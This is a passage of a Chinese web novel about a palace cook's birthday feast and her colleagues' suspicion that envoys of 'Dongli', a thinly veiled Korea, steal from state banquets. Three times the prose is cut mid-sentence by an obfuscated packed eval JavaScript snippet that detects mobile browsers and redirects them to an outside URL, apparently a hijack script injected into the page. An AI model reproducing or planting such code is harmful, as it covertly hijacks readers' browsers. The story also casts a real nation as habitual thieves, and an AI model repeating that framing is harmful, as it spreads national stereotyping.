“豆腐做得好,确实滋味赛肉,但到底不是肉嚒。小娘子家家,能吃能喝最好,别委屈了五脏庙,别学那县丞相公的清廉。” “小宰羊”的典故说的正是当时的青阳丞躬行节俭,不吃肉类,而每日吃豆腐。邑人便称豆腐为肉,歌颂其清廉。 苏晓瓷也笑。 瞧瞧,和同频说话的人就是这样省心。 虽然两人交情很浅,却能默契地理解同一个笑话,因为她们之间早在无形之中,被这片土地的历史和文化相连。 这要是让藤原纯子来……苏晓瓷想,她还不得连着问“哪有羊?” 与库房娘子又说笑几句,苏晓瓷便取了食材,从后厨穿过鸿胪寺整个院落,又过了数条连廊,然后扣响了桂秋的房门。 “桂秋姐姐,我今日要给自己瞎折腾一桌生辰宴。您有空的话,能来教我脆皮豆腐的做法吗?” 桂秋看着苏晓瓷提溜着的那两块豆腐,再看着她闪亮亮的眼睛,不觉笑了起来。 来找自己的人,究竟是阿谀奉承地想要攀附,还是真心实意想精进厨艺,她还是看得出来的。 桂秋也不矫情,当即答应下来,又回身进屋,往自己那大柳藤箱底去摸。 “你过生辰,姐姐我既知道了,总要送一份礼嘛。” 15. 东丽国、脆皮豆腐 光是筷子和那脆皮将将相触,就发出“咔嚓”一声清脆的细响,挠的苏晓瓷耳朵痒痒,口中也自动分泌出口水准备迎接这炸物的美味。 对高热量油脂的偏爱和渴求,这可是刻在人类DNA当中的,怪不得苏晓瓷。 一块脆皮豆腐入口——方才筷子夹了也不破的脆皮,此时被牙齿轻轻一切便自动裂开,露出里面温热白腻的豆腐瓤儿来。 桂秋艺高人胆大,她甚至没有选用老豆腐,就用今晨新做的嫩豆腐,所以表皮的酥脆和内里的柔嫩之间的反差对比达到了极致,令苏晓瓷直呼“好吃!” 那些似乎碰一下就要碎的嫩豆腐,在经过挂糊和三次炸制之后,不仅没塌没碎,反倒全进化成了胖乎乎的金黄炸豆腐块。 它们大小统一,脆皮均匀,夹起来转着看时,能随着角度的切换亮着星星点点的油光,一块叠着一块的黄金小方似的,闪耀于苏晓瓷这场生辰宴的桌面上。 苏晓瓷在大伙儿的帮助下,在寝房地上铺了大张的蒲席,将三个人的桌案相接,又去搬了几个矮案补充在一旁放酒水托盘等小物——简易的宴席场地就搭建好了。 自然比不上霓云殿膳厅的金碧相辉,但是足够自在和温馨。 鸿胪寺众人的生辰宴一般都是这样布置,相熟的姐妹们可在西沉的日晖之中一起大快朵颐。 此次苏晓瓷宴请的宾客中,有和她分享这寝房的两位室友,她们也是一等膳婢,一个叫做“王巧娘”,另一个家中没给起大名,一直被唤作“洪二姐”。 苏晓瓷和她们关系还不错。 又有白灵、余珠儿、昨日帮苏晓瓷去取海胆等食材的张兰兰一伙人,以及几位一直和苏晓瓷交好的,总共十六人。 想要供十六人吃饱吃好,已经需要菜肴的种类和滋味都极其丰富,才能调合众口。 这本就难不倒苏晓瓷,早在她看到那些食材时,就已经构思出一套搭配得当的席面,并且顺手把前期准备工作完成了。 更何况,她还有桂秋这一位高质量帮手。 桂秋不仅给苏晓瓷做了脆皮豆腐,细致地将做法教给她,还帮着切墩改刀。 这样的杂活她早不用做了,今日却很愉快地帮忙,也与苏晓瓷很投缘,有说有笑。 桂秋没有吹牛,她做脆皮豆腐确有很多独门诀窍。 比如挂的那面糊中,面粉、淀粉包括现磨进去的香料粉末是怎样的比例,她都把握得十分精准。 还有一个点睛之笔,就是将黄豆炒香,磨成不那么均匀的黄豆粉,撒在刚出锅的炸豆腐上。 若不是桂秋这么做,苏晓瓷都要忘记——雪白如凝脂的豆腐和焦黄似烁金的炒黄豆粉,竟完全是同根同源之物! 一个清甜柔嫩,一个浓香沙脆,却配合得刚刚好,越吃越香。 成品自然是美味非常,不仅是苏晓瓷,其他人也是赞不绝口。 “桂秋姐姐这脆皮豆腐确实是一绝啊!” “是啊。” 苏晓瓷不无遗憾,只道,“可惜桂秋姐姐不来参宴。” 桂秋实在是个贴心的。 她直言若是自己入席,其他人必会局促,放不开手脚吃喝。 所以即使苏晓瓷再三盛情邀请,她也都回绝了,只做了菜、教了学后就拂衣而去,深藏功与名,令苏晓瓷又感动又愧疚。 苏晓瓷叹道:“这次实在是搅扰桂秋姐姐了,等我哪天正式给她送礼道谢。” 余珠儿正往嘴里塞一块炸蘑菇,闻言便道。 “晓瓷姐姐,你这炸蘑菇做得也好吃!不比桂秋姐姐的脆皮豆腐差,你把炸蘑菇送去呗!” 王巧娘逗她,“这炸蘑菇都快叫你吃完了,晓瓷还拿啥送呀?小珠儿啊小珠儿,你可真是个小猪。” 余珠儿闹了个红脸。 但并未停嘴,反而大开吃戒,一块接着一块将那炸蘑菇往嘴里填,一边嘶嘶着热气一边得意洋洋看着王巧娘,逗得众人前仰后合。 苏晓瓷也笑,但还是耐心给余珠儿解释。 “哪有送吃食是送炸物的?它就是要那刚出锅还蹦跶着油花的才最好吃。” 就像之前桂秋呛阿竹那话说的,光是炸制的种类就有不同。 桂秋的脆皮豆腐是酥炸,苏晓瓷的炸蘑菇则是干炸。 如果说豆腐块是从头到脚裹了一件大号厚绒棉衣似的蓬松,那蘑菇就是穿着量体制作的硬挺盔甲一般妥帖,两者口感不同。 因为面糊挂得恰到好处,桂秋炸出来的豆腐块没有半点脱粉掉渣,是以那油仍是清清亮亮的,根本不像炸过东西。 苏晓瓷物尽其用,就顺道炸了蘑菇。 她实在是沾了桂秋的光,后者“吨吨吨”往锅里猛倒三斤油的时候,可没有人敢来阻止。 苏晓瓷也夹了一块炸蘑菇。 那些新鲜的香菇又壮又肥,是山林灵气所成。即使用盐腌着杀过水,仍是蕴着不少清润的汁水,由干脆的金壳子牢牢封锁住。 再撒上现磨的花椒粉、胡椒粉两掺,便成就了这一份越嚼越香的美味。 不吹不擂,苏晓瓷也知自己这道菜做得很好。 但是,它确实不适合被当做送人的吃食。 苏晓瓷需另做打算。 她目前想着,搜罗几丈好衣料,再亲自做些吃食送给桂秋。 如此,里子面子都有了,也凸显她心意之诚。 众人听了都很赞同。 欢声之中,白灵抿抿唇,鼓起勇气问。 “什么时候做?晓瓷你到时候叫我,我好帮帮你。” 她现在越发意识到,苏晓瓷虽是自己的手下,但自己并未尽到引导支持之责。 此次桂秋的盛情相助,倒是越发让她无地自容,心里臊得慌。 其他人也纷纷响应。 这个说“我也要帮忙!”那个说“你也教教我们呗!” 之前苏晓瓷做海胆饺子,已经一战成名。 今日这满满一桌生辰宴——八宝鸭、盐焗鸡、花篮鲈鱼、云梦缠花肉、上汤苋菜、香椿烧芽笋……则是更显出她厨艺高超、心思奇巧。 众人艳羡不已,更起结交之意。 而苏晓瓷向来享受做菜的过程,从不藏着掖着,自然欣然同意。 有人帮忙更好,她要保质保量做出上佳的吃食,好好回报一下桂秋的好意。 人家可还送了贺礼呢! 且那贺礼,竟是桂秋珍藏的一盒燕窝。 虽是较细碎的燕角,但是细密莹润,品质实在不错。 恭敬不如从命,人家既然送了,苏晓瓷也不扭捏,而是大大方方收下,只想着不辜负这番厚谊便是。 等她将这燕窝和着牛乳、冰糖炖了,与谢礼一同给桂秋送去一碗。 说着闹着,吃着笑着,这一顿生辰宴宾主尽欢,各个吃得畅快,对苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591549|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓瓷手艺的称赞就没停过。 只是苏晓瓷对自己要求很高,觉得今日的席面缺了甜品,白璧微瑕,未得完满。 并非苏晓瓷不擅长甜食糕饼。 恰恰相反,她本就嗜甜,在这方面造诣很高,那叫一个学贯中西、博览古今。 只是这些小家伙耗费的时间和精力,很多时候都甚于大鱼大肉的硬菜。 比如豆沙要文火现炒,至少一个时辰才会细腻滑润;用到的果品,也常要提前糖渍等等。 苏晓瓷这一回,是真的没来及准备。 苏晓瓷兀自懊恼,吃得肚子滚圆的众人倒是觉得这餐已臻完美。 “菜样样都是顶好滋味,缺一口甜的也没什么嘛。” “就是呀,我就没吃过这么好吃的八宝鸭。” 余珠儿最有趣。 她大概以为,苏晓瓷和她一样,真的会因为吃不到甜食而伤心,于是赶紧安慰。 “晓瓷姐姐,很快咱们就要再办国宴了,过后就又分好多果脯啦。我把我那份也给你,你想吃多少吃多少!” 余珠儿这话说得很有道理。 约定成俗,国宴未用的食材、剩下的吃食都会被鸿胪寺众人分了。 桂秋的燕窝就是这样一点点攒出来的。 普通膳婢的手,自然够不到如此珍贵的食材。 她们所期待的,主要是国宴上那足有一百多种的果脯、糖果和坚果等零嘴。 ——它们大多被垒成果塔、装入攒盒,做成所谓的“看菜”。(1) 于宴席上展示种类繁多、色彩缤纷的看菜,乃是本朝宴饮的一大风俗。 看菜虽都是可食用的,却已脱离了食物的范畴,变成了精美的摆设,令食客见之则喜,却不会真去下手。 所以它们会被尽数剩下,然后再尽数进了鸿胪寺众人的口袋。 这些高糖的果脯、干燥的坚果十分耐储,方便时时刻刻甜个嘴儿,不仅在宫外颇为值钱,在鸿胪寺内也是硬通货,人人都盼着多得一些。 余珠儿之所以说很快就再起国宴,是因为又有一国使团将于下月初抵达大隆。 国名唤“东丽”。 正如其名,东丽国是位于大隆东边的小国。 该国地处半岛,三面沧海,万壑群山,与和瀛国的情况十分相似。 可与和瀛国又有不同,东丽国很幸运地与大隆接壤。 ——在这个一条海峡就可使千军万马却步的时代,这实在是巨大的优势。 东丽国使团前来,不必像和瀛国那样抱着葬身鱼腹的决心,而是只需要越过那些他们一直暗搓搓想要侵占的山脉和河流即可。 所以从古至今,大隆和东丽的交流便十分频繁。 东丽国权贵们的官方文字也是汉字,又从大隆引进了许多技术、资源和物种。 比如,东丽国早早引入了辣椒,国民极爱辣味。 这样的情况,对应苏晓瓷所知的华夏正史的哪一个国家…… 真是不言而喻了。 苏晓瓷暗自好笑地思忖着,众人的话头则被余珠儿带偏,又热热闹闹讨论起宴席之事。 唯有王巧娘皱着脸,欲言又止。 在余珠儿再次提到那些果脯看菜时,王巧娘终于忍不住开了口。 “我觉得吧……这东丽国使团……” 王巧娘小心斟酌着用词,“他们好像偷东西。” 16. 引众议、超绝偷感 去年春天东丽国使团来朝觐时,王巧娘刚刚晋升为一等膳婢,第一次正式参与国宴的制作。 她跟随的膳使姐姐,恰是负责制作各种果塔看菜的,王巧娘从旁协助,不敢马虎分毫。 所以她记得很清楚——那些看菜本该是什么样。 比如有一种红枣桂圆塔,高近两尺,粗到一人难以合抱。 红枣塔中间有一个芯子用来支撑己身,就像是插糖葫芦的麦秸耙儿,只是比麦秸耙儿精细多了,乃是红绫裹着松木屑做的。 王巧娘将干红枣用小竹签扎了,小心翼翼地一颗颗固定在芯子上,围了一圈又一圈,两圈红枣中间再填入一圈桂圆。 红枣个个香气扑鼻、色泽浓郁,细密的褶皱让它们看起来像是凝固的一团团小火焰; 桂圆颗颗是精选的饱满滚圆,一个小坑小裂都没有。 这红枣桂圆塔还只是最基础的款式。 另有核桃榛子等坚果塔、五颜六色的果脯塔,以及时兴鲜果和鲜花精心摆出的花果篮等等…… 早在开宴前,看菜就要摆好,装点桌案; 之后,则会随着最后一轮开胃菜肴同时撤下,给主菜腾出地方来。 去撤菜时,王巧娘迫不可待,带着满心偏爱先奔向自己做的红枣桂圆塔。 结果,就看到上面有一个大窟窿。 像是被人狠狠一把抓走,大概十数个硕大的红枣桂圆消失不见,只露出里面丝光流转的红绫来。 “会不会是掉地上了?” 一年后的今日,余珠儿听着王巧娘的描述,歪着头提出这样的猜测。 “咋会掉呢?” 王巧娘却立时否定。 “一路从后厨端到宴厅都没掉一颗,摆桌上还能掉了?” 自家膳使姐姐教她垒这果塔时,特意告诫将两圈红枣离得近些,这样桂圆就嵌入得稳稳当当,被有弹力又有褶皱的红枣牢牢卡住。 按照这一法门,王巧娘做出的几个果塔都扎实又漂亮。 余珠儿挠挠头,“那就是吃了呗?” 还是不对。 王巧娘心想,那怎么连红枣核和桂圆皮都没有剩下? 国宴的食器餐具样样俱全,将饮食的方方面面都考虑在内。 所以每张桌案按照人数配了碧玉渣斗,供食客们丢弃食余,并且每一轮上菜都要更换。 王巧娘可以肯定,当时她换下的渣斗中,绝对没有红枣桂圆被吃掉的痕迹。 但它们就是不翼而飞了。 照理说,遇见这样的情况,第一反应肯定就是该桌的食客顺手抓一把,揣兜里揣走了。 这是最合理而自然的解释。 可是—— “不至于吧?!” 余珠儿大大咧咧地喊出疑惑,“堂堂一国使臣,难道还国宴上偷枣?” 是了,王巧娘苦笑。 她也是在这一点上,无论如何都想不通。 她想,寻常百姓去别人家吃饭,尚不好意思连吃带拿,更别说偷偷拿了。 这与市井小贼何异? 使臣又怎么会做出如此掉价的丑行呢? 小小的事情,大大的疑惑。 这一年间,每每想起那些消失的红枣桂圆,王巧娘仍是百思不得其解。 “算了,不说了。” 她无所谓地一拍大腿。 “姐妹们权当我瞎说!人家使团的大人们怎么可能这么不要脸呢?” ……很有可能。 苏晓瓷却是微妙地抿抿嘴,又有点憋不住笑了。 她由记得现世国际性的体育盛事上,某国运动员不就是将自助餐区的西瓜整个搬走了吗?还被其他国家的运动员控诉。 但王巧娘哪能如此了解东丽国呢? 她回想,自己当时制作了十个红枣桂圆塔,随机分布在现场四十多张桌案上。 因为看菜的种类实在太多,每桌不可能尽数摆上,所以是穿插着来。 最后十个果塔中,两个有了窟窿。 仅凭这点就说他国使臣偷窃,也确实牵强。 王巧娘:“应该就是个巧合吧!我这不去年才升一等,其实只参加过那一次招待东丽国的国宴。” “……我参加了五次。” 洪二姐忽然没头没脑地发言。 众人只见她皱起脸,发呆似的凝视着虚空,欲言又止。 王巧娘一愣,若有所感。 “二姐,你不会也……?” 两人对上视线,洪二姐沉默着点点头。 接风宴和送行宴都算上,她确实参加过五次招待东丽国的国宴,前两次也是只能负责看菜。 大家都是这么过来的。 ——看菜风险小、要求低,很适合给新人练手,因为它们到底是需不入食客之口的。 所以,将自己摆的八宝果盒再收拾回来时,洪二姐才尤其惊讶。 八个格子空了三个,分外显眼。 “我真的寻思着是被吃了。” 洪二姐弱声弱气道:“就像盘子里雕的萝卜花,就为了一个好看,可也有人闲着没事夹来吃了。” 洪二姐于烹饪之上的天资并不算高。 否则,她也不会在挣扎着做到一等膳婢之后,经过五次招待东丽国的国宴的时光,却仍没升为膳使。 她也有点粗心,不像王巧娘那样全心全意地扑在自己制作的馔饮上,所以之前未能发现“没有吃剩的果核”一类的细节。 可现在经过提醒,再那么一回想……越来越多的可疑之处就浮现出来。 “我想想啊,那八宝盒里,剩下的都是蜂蜜金桔、阿胶蜜枣这样黏黏糊糊的。而糖霜花生、柿饼这样清清爽爽好装的都不见了……嘶……是不是真被装走了?” 此言一出,连最不相信使臣会偷那仨瓜俩枣的余珠儿都沉默了。 本来,这小小的寝房里是欢声笑语、觥筹交错之声不断的。 可此时,众人你看看我,我看看你,仿佛同时站在一个诡异的平衡点上。 谁也不敢妄言轻动。 因为好像有某种真相,一触即发。 “……原来……” 最后,是白灵打破了平衡。 她瞪大的眼睛看看洪二姐,再看看王巧娘。 “原来你们也是这么想的呀?!” 苏晓瓷:???还有高手? 苏晓瓷震惊的这一瞬,在场众人却如同封印被解除,一个接一个发出惊讶的震声。 “白灵姐姐您也这样怀疑吗?” “天娘耶,我一直以为我是一个人的……” “啊?连你也——?咋回事?” “我也觉得一碰上东丽国,那些看菜就少了很多,可咱也不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604688|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说啊。” 苏晓瓷目瞪口呆地听着同僚们争先恐后,诉说对东丽国使团的怀疑。 因为这具身体的原主尚没有参加过招待东丽国的国宴,所以苏晓瓷没有相关记忆。 东丽国使团在宴席上究竟如何如何,她不得而知。 当然,对于“东丽国热衷偷东西”这个习性…… 苏晓瓷本来就是知晓的。 她只是不知道,原来他们也早已经被这些仅几面之缘的年轻姑娘们怀疑。 可见其偷味儿之重,藏都藏不住。 膳婢膳使们也被熏到了。 可是,先天温和纯良的秉性,后天礼仪廉耻的教养,整个大隆豪爽阔达的国家风范——所有这些结合到一起,实在令她们难以相信一国使臣,会做出这样偷鸡摸狗之事。 况且,因为和使臣身份天差地别,她们不敢在明面上吐露半个字,只能在心里嘀咕嘀咕。 直到今日。 由性子泼辣的王巧娘,刚巧话赶话提了一嘴,终于捅破了这一层窗户纸。 众人惊讶地发现—— 对上了!全都对上了! 再由现场品阶最高的白灵表明了态度,她们更没了后顾之忧,不吐不快。 “我还以为是我以小人之心度君子之腹呢!” “关键是这惹祸上身的话谁敢说呀。” “对啊,难道问那些东丽国使臣不成?您偷拿这个果盘了吗?” “哈哈哈哈可别作死。” “使臣大人气得甩着袖子骂你‘放肆’,然后从袖子里咕噜出两个大枣。” “哎呦哈哈哈你这张嘴啊哈哈哈哈!” 想象中的场景太过滑稽错乱,众人嘻嘻哈哈笑起来。 其中笑得最大声的就是苏晓瓷。 江山易改,本性难移。 她不禁想,可能在千万片山河乾坤中、在千万个平行时空中、在千万条宇宙支线中,东丽国的这个本性也不会更改吧。 为偷,千千万万遍。 而只要想到他们永远会是这个熊样; 只要想到自己永远能随时吐槽他们; 那么无论穿越到哪里,苏晓瓷都有一种尚未真正偏离自己曾经世界的感觉。 这何尝不算是某种意义上的“他乡遇故知”呢? 今日份的安全感和熟悉感,都是东丽国的超绝偷感给的。 暖暖的,很安心。 苏晓瓷边笑边诚挚致谢。 东丽国,感谢你! 为了更多追寻这一点点和原来世界的联结,当然,也是为了看热闹和捡乐子,苏晓瓷不禁拽着白灵衣袖问。 “白灵姐姐,关于东丽国……您是知道什么内幕吗?” 白灵身为膳使,自然比在场之人消息更灵通。 她点点头,又赶紧摇摇头,脸上写满了“不可说”。 但实在架不住苏晓瓷卖乖耍赖,也架不住她亲手用桂花蜜调的米酒,还有那一声声清甜的“白灵姐姐”。 白灵现在宠苏晓瓷宠到不行。 愧疚混杂着欣赏,以及一份隐隐约约“此子将来不可限量”的钦慕和期待。 白灵忍不住将那香甜的米酒多喝了两杯,趁着一点点酒劲儿上头,絮絮讲了起来—— “前年给东丽国使臣的送行国宴上,丢失了两只金杯,你们还记不记得此事?” 17. 金杯案、下定决心 金杯丢失一事,苏晓瓷有印象。 原身的记忆,就像是一本本存在于苏晓瓷脑子里的书。 她虽然拥有,对其内容的印象却不甚鲜明,需用到时才被翻阅出来。 此时听着白灵的讲述,苏晓瓷便渐渐想起来了事件始末—— 前年春天,东丽使团照常前来进献岁贡。 然后,照常得到几十倍于其贡的回礼,兴高采烈地准备回国。 鸿胪寺也照常为他们安排三等国宴送行。 唯一的异常,就是送行宴之后清点,发现丢失了两个小小的金酒杯。 真说起来,鸿胪寺库房里,价值连城的餐具数不胜数。 整块碧玉雕做的荷叶盘、比手掌还大的玛瑙碗、满镶螺钿的食盒…… 与它们相比,金银都是俗物,万万算不得贵重。 然而,丢金杯事小,其性质却极其严重。 鸿胪寺展开了上上下下的盘查,折腾了十来天,人人自危。 却忽有一日,搜寻停止,只说金杯没找到,即使想要深入调查,也全无头绪。 最后的结果是,匆匆将负责那场国宴器皿收贮的膳使治了罪打了板子,逐出宫去。 此事便不了了之。 而那一位倒霉的夏膳使,正是白灵当时的室友,两人私交很好。 白灵始终记得对方挨了板子之后,那痛苦而屈辱的眼泪。 白灵帮她上药时,只见满眼骇人红淤,也心疼地直哭,忙劝她再去找大人们认错求情,罚俸、禁闭,哪怕降为膳婢也好…… 总之,想方设法留在宫中才是,来日方长。 否则,数年艰辛才换来的高阶膳使之位就真的烟消云散了,还要被当做罪人逐出宫去。 前途尽毁,名声亦污。 白灵劝得诚恳,也很在理。 可夏膳使只惨然笑着,“我是非走不可的。” 她着魔一样重复这句话,只在最后,咬紧了牙不甘地嘶吼。 “我何曾失职?何曾失察?” “我管的是咱们自己人,难道能管得了他们——” 话音戛然而止,似仍有无数未竟之意,却不敢再说。 白灵倒吸一口气,想要再问,夏膳使只朝她摇头。 两人相顾无言。 幽幽深宫静夜,只有那一刻不停的计时玉漏,无情又似有心,陪着她们滴泪到天明。 本朝慎重施刑,板子其实打得不重。 即使如此,也是必须依照规矩——脱去下裙底裳,裸身挨罚的。 于皮肉伤相比,夏膳使受的这一份彻骨羞辱,才是真正无法痊愈。 上头准她在寺内修养了几日,等能下地走路再出宫去,已经是格外开恩。 是日,右膳长厉玉娘亲自前来,白灵不知她在屋中与夏膳使说了什么。 只知道从此以后,自己这位才德兼备的友人便黯然退场。 宫墙高耸,仿佛能隔断天地。 宫外的天,和宫里的天,是不相连的。 白灵再也没有见过她。 此时,说起这段过往,白灵仍是忍不住伤心。 宴饮的轻快悠闲渐渐从她身上褪去,白灵沉声为夏膳使做着已无意义的辩解。 “她那个人我是知道的。一根头发分八瓣,细得很。刚被派去管餐皿不久,真是样样都亲自经手,从无半分差错,谁想就出了这样的事……” 话未说完,听众们已经是义愤填膺。 “天啊!还真有隐情!” “我听这意思,夏姐姐是替使团背了黑锅?” “夏姐姐人可好了,我刚入宫时就是她带的我。” “是啊,她还帮我写过家书呢!” “我记得……她好像马上要升一等膳使了呢,前途大好呀。” “东丽国真是讨厌!” “大伙儿,且慢慢!且慢慢!” 一片哗然之中,是洪二姐忙当和事佬,站起来摆着手安抚众人。 她心思敏感,遇事都先从自己找原因。只觉得是因自己回应了王巧娘的话,才将这话题挑起来,还越演越烈。 要是传出去,她可吃不了兜着走。 洪二姐赶紧努力聚起笑意,细声相劝。 “可能还是我们多心了。那我们小娘子家家的,就是爱多想的。使臣怎么会偷东西呢?” 苏晓瓷眉头微蹙。 洪二姐这样软弱怯懦的性格,和她那个名字都不愿意给她起、却将她的血吸个饱的原生家庭无不关系。 苏晓瓷知道,洪二姐一直将在宫中全部所得用于接济父母和弟弟。 她自己省吃俭用,连生辰宴的食材都折换给别人,换成银钱或是糖盐送回家去。 可怜归可怜,唏嘘归唏嘘,两人的关系还不到能视她饥如己饥、视她溺如己溺的程度。 但如果需要帮忙,苏晓瓷也愿意伸手。 可是,苏晓瓷绝不能任由洪二姐溺而不自救,还要拉着众人共沉沦。 于是苏晓瓷立刻开口。 “二姐,话可不是这么说的。” 她的语气温和,却很坚定。 “你也知道,咱们鸿胪寺百年以来监守自盗之事少之又少,更是从未有珍贵食器丢失。” 众人连声附和,说着“就是呀”“有命拿,没命享啊”。 这不是夸大其词。 鸿胪寺中人都很有分寸。 遇见好吃的,赶紧多炫几口也就是了。 那些金盏玉杯,可是绝对不能碰的。 虽说一件就足以令自己九辈子衣食无忧。但更足以开启一场九族消消乐。 而且众人都在这院中起居,生活联系非常紧密,就连高阶的膳使们也不会单独住,而是和自己手下的膳婢或是其他膳使分享寝房。 无论是谁,想要不知不觉地销赃掉那打着内务标、刻着皇家龙的御前之物,几乎是不可能的。 基于以上种种事实,苏晓瓷很讲道理地控制变量。 “回回都无事,只是一碰上东丽国就丢这丢那。姐妹们如此猜测也合情合理,并不是无端妄想。二姐又何须先找咱们自己的错处?” “这……” 洪二姐不知如何作答。 苏晓瓷也不追问,只笑着继续。 “大隆是上国盛世,陛下是仁德明君,对于外邦来访是倒履相迎,欢迎之至的。三省六部,九寺五监也都恪尽职守招待使臣。” 苏晓瓷抓一把喷香的盐焗瓜子,塞到神色局促的洪二姐手中。 “就说咱们这鸿胪寺上下,哪一个不尽心尽力准备国宴?我知道,二姐你也向来是最认真负责的。” 洪二姐忙不迭点头。 “只是非我族类,其心必异。防人之心不可无。我们身为大隆子民,当然要永远将大隆放在第一位考量。” 这话说得没毛病。 天王老子来了也挑不出毛病。 即使如此,苏晓瓷也不会光说这样空洞的大道理,而是适时神秘一笑,调动众人的好奇心。 “你们知道吗?我听说,东丽国如今啊,并没有咱们大隆这样搜罗天下英才的科举。” “啊?真的吗?” “居然没有科举?” 不了解东丽国此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628079|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条国情的膳婢膳使们,完全懵了。 她们瞠目结舌,简直比刚才得知东丽使臣或许偷东西还惊讶。 在华夏大地上,只要努力读书,就会有出路,就会有出息——已经是颠扑不破的真理,也是人们最朴素的信仰、最洁净的期望。 生在淤泥里的小鱼小虾,也能跃过龙门去,凭借好风青云,直上九霄。 通文达理的有识之士,开卷有益的好学之风,是这个国家的根基。 所以她们这样的女儿家也愿意学习读书识字。 真学出了名堂,说不定还可以当女官呢; 所以再贫寒的家也会挤出一些银钱供孩子去书塾。 本朝书塾林立,蔚然成风,束脩本来也不太贵的; 所以在山坡上叼着草梗的放牛娃,也敢枕着手,做一个金榜题名、封侯拜相的美梦。 科举是一股流动的力量,不分男女老少,注入每一个华夏子孙的脊梁,让他们能挺起腰杆,蓬勃向上。 但是东丽国不是这样的。 “是真的呀,他们真的没有科举,所以东丽国是出了名的等级森严。” 苏晓瓷叹了一口气。 她口才好,不只在于嘴甜和博识,更在于最会审时度势,用浅显而具体的例子令人感同身受。 就比如现在,只用一句“东丽国没有科举”,便轻轻松松帮助众人完成对东丽国的祛魅,也更好地为自己接下来的话语做了铺垫。 苏晓瓷:“所以,东丽国那些使臣,本都是含着金汤匙出生的。他们是出身高贵,不是品格高贵。” 忽而一顿,苏晓瓷严谨补充。 “……哦不对,他们其实挺穷的。可能没有那么多金汤匙可含。” 众人:…… 苏晓瓷这话太狠了,但是意思她们倒是领悟了—— 不能因使团出身高贵,便断定他们不会做低贱之举。 想想也是,大隆国运昌盛,越来越富饶,东丽国来进贡越来越频繁,拿回去的回礼也越来越多。 人心不足蛇吞象。 正大光明得到一筐金银,也不耽误再偷拿两颗枣。 “嗨,这事儿说来也简单!” 急性子的王巧娘强势总结。 “这回他们再来,咱们且仔细瞧瞧!” 凡世间蹊跷妖异之事,一怕有备而来,二怕事后回想。 而如今鸿胪寺寺众人对东丽使团的态度,便将这二者全占了。 等使团下月抵达,她们这几十双火眼金睛盯紧些,自见真章。 对王巧娘此言,众人都点头附和,说有道理。 苏晓瓷更是摩拳擦掌,热血沸腾。 她算算时间,东丽国使团如果照常抵达的话,应该刚好在她膳使晋升考核之后。 而苏晓瓷能够确定,那时的自己已经成为膳使了。 如此,她就能站得更高一些、更近一些地看看东丽国使团有没有搞鬼。 想占鸿胪寺、占大隆的便宜? 她可不会轻易放过。 哪怕自己人微言轻,也必定要竭尽全力,不让他们称心如意,还得让他们付出应有的代价。 只是,到时候的事情,到时候再说。 此时此刻,苏晓瓷却是不愿多想起东丽国一秒,怕自己忍不住要生气。 她便随便找个话题转移过去,气氛重新变回愉快的友人欢宴。 小娘子们笑闹着,聊聊近况,说说贴心话,分享宫中的小道消息。 可怜苏晓瓷本来是为了不生气,才转移的话题。 结果……马上就听到一个令她无比生气的消息。 18. 送香料、和瀛茶会 苍天有眼,藤原纯子实打实消停了几日,没再传召苏晓瓷去送膳。 苏晓瓷听说,自铁之助事后,皇帝也再没有去藤原纯子宫中。 而且李驰当日离开霓云殿后,就直接移驾淑妃处,是夜亦宿于彼处,翌日又赐给淑妃许多珍宝。 对于如此情景,藤原纯子有多么辗转难安,苏晓瓷是不知道也不想知道。 她只知道,没有对方的打扰,她这几日终于能重回平静。 苏晓瓷珍惜和享受这样的日常,将每日安排得非常充实。 她吃好睡好,每餐都要吃两大碗饭,还针对性地锻炼厨师最重要的手臂和腰腿,感受到身体越来越健康强壮。 没轮到苏晓瓷值班时,她也不厌其烦地帮其它组做些和面、切墩的活计,只为了一点点找回肌肉记忆,尽快回到自己手艺的巅峰时期。 剩下的空闲时间,则争分夺秒地温书。 因为那膳使考核,第一轮就是笔试。 各级膳婢,粗通文墨即可,常用的字认得,再将最基础的膳饮经典、规章死记硬背住。 但是一旦升为膳使,便算是跻身女官之列,必须真正知书明理。 所以,膳使考核的通过率是出了名的低,而且刷掉人数最多的,就是这第一轮笔试。 据打探,往年的题目当中甚至有为某样食材赋一首绝句,或者应着某道喜庆菜肴做颂圣诗…… 如此难度,堪称餐饮界的八股取士了。 苏晓瓷不敢怠慢,夙兴夜寐捧着书。 在书页如蝶翅般的翻动声中,日子就这样又翻过去几日。 这一日,轮到苏晓瓷所在的甲字班制作寺中三餐。 她天未亮就起来和同僚们忙活。 朝食的食单是芝麻香油拌菠菜、肉糜豆腐和清炒瓜片,主食是小米稀粥和椒盐烧饼。 